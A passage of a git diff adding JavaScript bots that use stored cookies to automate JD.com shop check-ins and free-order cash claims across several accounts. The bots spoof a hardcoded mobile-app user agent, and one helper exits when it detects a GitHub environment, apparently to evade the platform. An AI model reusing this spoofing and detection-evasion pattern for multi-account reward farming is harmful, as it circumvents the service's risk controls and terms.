Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_shop_sign.js b/jd_shop_sign.js new file mode 100644 index 0000000..4e61094 --- /dev/null +++ b/jd_shop_sign.js @@ -0,0 +1,358 @@ +/* +店铺签到,各类店铺签到,有新的店铺直接添加token即可 +============Quantumultx=============== +[task_local] +#店铺签到 +0 0 * * * jd_shop_sign.js +*/ +const $ = new Env('店铺签到'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', allMessage = '', message; +const JD_API_HOST = 'https://api.m.jd.com/api?appid=interCenter_shopSign'; + +let activityId='' +let vender='' +let num=0 +let shopname='' +const token = [ + // "2A8794EC8DA4659DDDA0DF0E1A2AF4AF", + // "A1E0F96C1D9DB38AE87202E13CE1FD1F", + // "6D180D5A0B6F4A210684757B0DAC6A38", + // "6FF6A61279897029F4DE69C341551CFC", + // "0FCE1975D7A168F5BE2DE89BF2AA784D", + // "9E2F2B62044E1AC059180A38BE06507D", + // "C96A69334CA12BCA81DE74335AC1B35E", + // "A406C4990D5C50702D8C425A03F8076E", + // "E0AB41AAE21BD9CA8E35CC0B9AA92FA7", + // "A20223553DF12E06C7644A1BD67314B6", + // "9621D787095D0030BE681B535F8499BE", + // "C718DA981DBB8CF73FAC7D5480733B43", + // "77A6C7B5C2BC9175521931ADE8E3B2E0", + // "5BEFC891C256D515C4F0F94F15989055", + // "B1482DB6CB72FBF33FFC90B2AB53D32C", + // "225A5186B854F5D0A36B5257BAA98739", + // "9115177F9D949CFB76D0DE6B8FC9D621", + // "AD73E1D98C83593E22802600D5F72B9B", + // "447EA174AB8181DD52EFDECEB4E59F16", + // "32204A01054F3D8F9A1DF5E5CFB4E7F4", + // "6B52B6FDF119B68A42349EEF6CEEC4FF" +] + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = jsonParse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => item !== "" && item !== null && item !== undefined); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await dpqd() + await showMsg() + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +//开始店铺签到 +async function dpqd(){ + for (var j = 0; j < token.length; j++) { + num=j+1 + if (token[j]=='') {continue} + await getvenderId(token[j]) + if (vender=='') {continue} + await getvenderName(vender) + await getActivityInfo(token[j],vender) + await signCollectGift(token[j],vender,activityId) + await taskUrl(token[j],vender) + } +} + +//获取店铺ID +function getvenderId(token) { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/api?appid=interCenter_shopSign&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getActivityInfo&body={%22token%22:%22${token}%22,%22venderId%22:%22%22}&jsonp=jsonp1000`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": 'https://h5.m.jd.com/', + "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + if (data.code==402) { + vender='' + console.log(`第`+num+`个店铺签到活动已失效`) + message +=`第`+num+`个店铺签到活动已失效\n` + }else{ + vender=data.data.venderId + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//获取店铺名称 +function getvenderName(venderId) { + return new Promise(resolve => { + const options = { + url: `https://wq.jd.com/mshop/QueryShopMemberInfoJson?venderId=${venderId}`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(data) + shopName = data.shopName + console.log(`【`+shopName+`】`) + message +=`【`+shopName+`】` + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + + +//获取店铺活动信息 +function getActivityInfo(token,venderId) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getActivityInfo&body={%22token%22:%22${token}%22,%22venderId%22:${venderId}}&jsonp=jsonp1005`, + headers: { + "accept": "accept", + "accept-encoding": "gzip, deflate", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": `https://h5.m.jd.com/babelDiy/Zeus/2PAAf74aG3D61qvfKUM5dxUssJQ9/index.html?token=${token}&sceneval=2&jxsid=16105853541009626903&cu=true&utm_source=kong&utm_medium=jingfen&utm_campaign=t_1001280291_&utm_term=fa3f8f38c56f44e2b4bfc2f37bce9713`, + "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + // console.log(data) + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + activityId=data.data.id + //console.log(data) + let mes=''; + for (let i = 0; i < data.data.continuePrizeRuleList.length; i++) { + const level=data.data.continuePrizeRuleList[i].level + const discount=data.data.continuePrizeRuleList[i].prizeList[0].discount + mes += "签到"+level+"天,获得"+discount+'豆' + } + // console.log(message+mes+'\n') + // message += mes+'\n' + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//店铺签到 +function signCollectGift(token,venderId,activitytemp) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_signCollectGift&body={%22token%22:%22${token}%22,%22venderId%22:688200,%22activityId%22:${activitytemp},%22type%22:56,%22actionType%22:7}&jsonp=jsonp1004`, + headers: { + "accept": "accept", + "accept-encoding": "gzip, deflate", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": `https://h5.m.jd.com/babelDiy/Zeus/2PAAf74aG3D61qvfKUM5dxUssJQ9/index.html?token=${token}&sceneval=2&jxsid=16105853541009626903&cu=true&utm_source=kong&utm_medium=jingfen&utm_campaign=t_1001280291_&utm_term=fa3f8f38c56f44e2b4bfc2f37bce9713`, + "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//店铺获取签到信息 +function taskUrl(token,venderId) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getSignRecord&body={%22token%22:%22${token}%22,%22venderId%22:${venderId},%22activityId%22:${activityId},%22type%22:56}&jsonp=jsonp1006`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "referer": `https://h5.m.jd.com/`, + "user-agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + console.log(`已签到:`+data.data.days+`天`) + message +=`已签到:`+data.data.days+`天\n` + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +async function showMsg() { + if ($.isNode()) { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + allMessage += `【京东账号${$.index}】${$.nickName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": `jdapp;android;9.3.5;10;3353234393134326-3673735303632613;network/wifi;model/MI 8;addressid/138719729;aid/3524914bc77506b1;oaid/274aeb3d01b03a22;osVer/29;appBuild/86390;psn/Mp0dlaZf4czQtfPNMEfpcYU9S/f2Vv4y|2255;psq/1;adk/;ads/;pap/JA2015_311210|9.3.5|ANDROID 10;osv/10;pv/2039.1;jdv/0|androidapp|t_335139774|appshare|QQfriends|1611211482018|1611211495;ref/com.jingdong.app.mall.home.JDHomeFragment;partner/jingdong;apprpd/Home_Main;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36` + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = data['base'].nickname; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_signFree.js b/jd_signFree.js new file mode 100644 index 0000000..0cfc3e6 --- /dev/null +++ b/jd_signFree.js @@ -0,0 +1,570 @@ +// 自行确认是否有效 + +const $ = new Env('极速免费签到'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const UA = $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie, + msg = [] + +const activityId = 'PiuLvM8vamONsWzC0wqBGQ' + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.nickName = ''; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + msg.push(($.nickName || $.UserName) + ':') + await sign_all() + } + } + if (msg.length) { + console.log('有消息,推送消息') + await notify.sendNotify($.name, msg.join('\n')) + } else { + console.error('无消息,推送错误') + await notify.sendNotify($.name + '错误!!', "无消息可推送!!") + } +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + notify.sendNotify($.name + '异常!!', msg.join('\n') + '\n' + e) + }) + .finally(() => { + $.msg($.name, '', `结束`); + $.done(); + }) +async function sign_all() { + await query() + if (!$.signFreeOrderInfoList){ + console.log('啥也没买,结束') + return + } + await $.wait(3000) + for (const order of $.signFreeOrderInfoList) { + // console.debug('now:', order) + $.productName = order.productName + await sign(order.orderId) + await $.wait(3000) + } + await $.wait(3000) + await query() + await $.wait(3000) + for (const order of $.signFreeOrderInfoList) { + // console.debug('2nd now:', order) + if (order.needSignDays == order.hasSignDays) { + console.log(order.productName, '可提现,执行提现') + $.productName = order.productName + await cash(order.orderId) + await $.wait(3000) + } + } +} + +function query() { + return new Promise(resolve => { + $.get(taskGetUrl("signFreeHome", { "linkId": activityId }), async (err, resp, data) => { + try { + if (err) { + console.error(`${JSON.stringify(err)}`) + } else { + // console.debug('query:', data) + data = JSON.parse(data) + $.signFreeOrderInfoList = data.data.signFreeOrderInfoList + if (data.success == true) { + if (!data.data.signFreeOrderInfoList) { + console.log("没有需要签到的商品,请到京东极速版[签到免单]购买商品"); + msg.push("没有需要签到的商品,请到京东极速版[签到免单]购买商品") + } else { + $.signFreeOrderInfoList = data.data.signFreeOrderInfoList + console.log("脚本也许随时失效,请注意"); + msg.push("脚本也许随时失效,请注意") + if (data.data.risk == true) { + console.log("风控用户,可能有异常"); + msg.push("风控用户,可能有异常") + } + } + }else{ + console.error("失败"); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function sign(orderId) { + return new Promise(resolve => { + // console.debug('sign orderId:', orderId) + $.post(taskPostUrl("signFreeSignIn", { "linkId": activityId, "orderId": orderId }), async (err, resp, data) => { + try { + if (err) { + console.error(`${JSON.stringify(err)}`) + } else { + // console.debug('sign:', data) + data = JSON.parse(data) + let msg_temp + if (data.success) { + msg_temp = $.productName + ' 签到成功' + } else { + msg_temp = $.productName + ' ' + (data.errMsg || '未知错误') + } + console.log(msg_temp) + msg.push(msg_temp) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function cash(orderId) { + return new Promise(resolve => { + // console.debug('cash orderId:', orderId) + $.post(taskPostUrl("signFreePrize", { "linkId": activityId, "orderId": orderId, "prizeType": 2 }), async (err, resp, data) => { + try { + if (err) { + console.error(`${JSON.stringify(err)}`) + } else { + // console.debug('cash:', data) + data = JSON.parse(data) + let msg_temp + if (data.success) { + msg_temp = $.productName + ' 提现成功' + } else { + msg_temp = $.productName + ' ' + (data.errMsg || '未知错误') + } + console.log(msg_temp) + msg.push(msg_temp) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&_t=${new Date()}&appid=activities_platform`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + // 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": UA, + 'accept-language': 'en-US,zh-CN;q=0.9', + 'accept-encoding': 'gzip, deflate, br', + "referer": "https://signfree.jd.com/?activityId=" + activityId + } + } +} + +function taskGetUrl(function_id, body) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&_t=${new Date()}&appid=activities_platform`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'origin': 'https://signfree.jd.com', + // 'Connection': 'keep-alive', + 'user-agent': UA, + 'accept-language': 'en-US,zh-CN;q=0.9', + 'accept-encoding': 'gzip, deflate, br', + "referer": "https://signfree.jd.com/?activityId=" + activityId + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? 